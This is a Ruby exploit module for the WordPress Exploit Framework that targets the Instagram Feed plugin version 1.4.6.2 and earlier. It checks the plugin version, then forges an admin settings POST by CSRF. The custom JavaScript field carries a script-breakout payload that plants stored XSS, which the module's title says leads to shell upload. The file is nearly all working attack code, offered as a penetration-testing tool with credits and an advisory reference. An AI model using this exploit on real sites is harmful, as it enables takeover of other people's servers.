# frozen_string_literal: true

class Wpxf::Exploit::InstagramFeedCsrfStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Instagram Feed <= 1.4.6.2 CSRF Stored XSS Shell Upload',
      author: [
        'Sipke Mellema', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8674'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html']
      ],
      date: 'Nov 19 2016'
    )
  end

  def check
    check_plugin_version_from_readme('instagram-feed', '1.4.7')
  end

  def initial_script
    create_basic_post_script(
      normalize_uri(wordpress_url_admin, 'admin.php?page=sb-instagram-feed&tab=customize'),
      'sb_instagram_settings_hidden_field' => 'Y',
      'sb_instagram_customize_hidden_field' => 'Y',
      'sb_instagram_width' => '100',
      'sb_instagram_width_unit' => '%',
      'sb_instagram_height' => '100',
      'sb_instagram_height_unit' => '%',
      'sb_instagram_background' => '#474747',
      'sb_instagram_sort' => 'none',
      'sb_instagram_num' => '20',
      'sb_instagram_cols' => '4',
      'sb_instagram_image_res' => 'auto',
      'sb_instagram_image_padding' => '5',
      'sb_instagram_image_padding_unit' => 'px',
      'sb_instagram_show_header' => 'on',
      'sb_instagram_show_btn' => 'on',
      'sb_instagram_btn_text' => 'Load More...',
      'sb_instagram_show_follow_btn' => 'on',
      'sb_instagram_follow_btn_text' => 'Follow on Instagram',
      'sb_instagram_custom_js' => "}});<\\/script><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
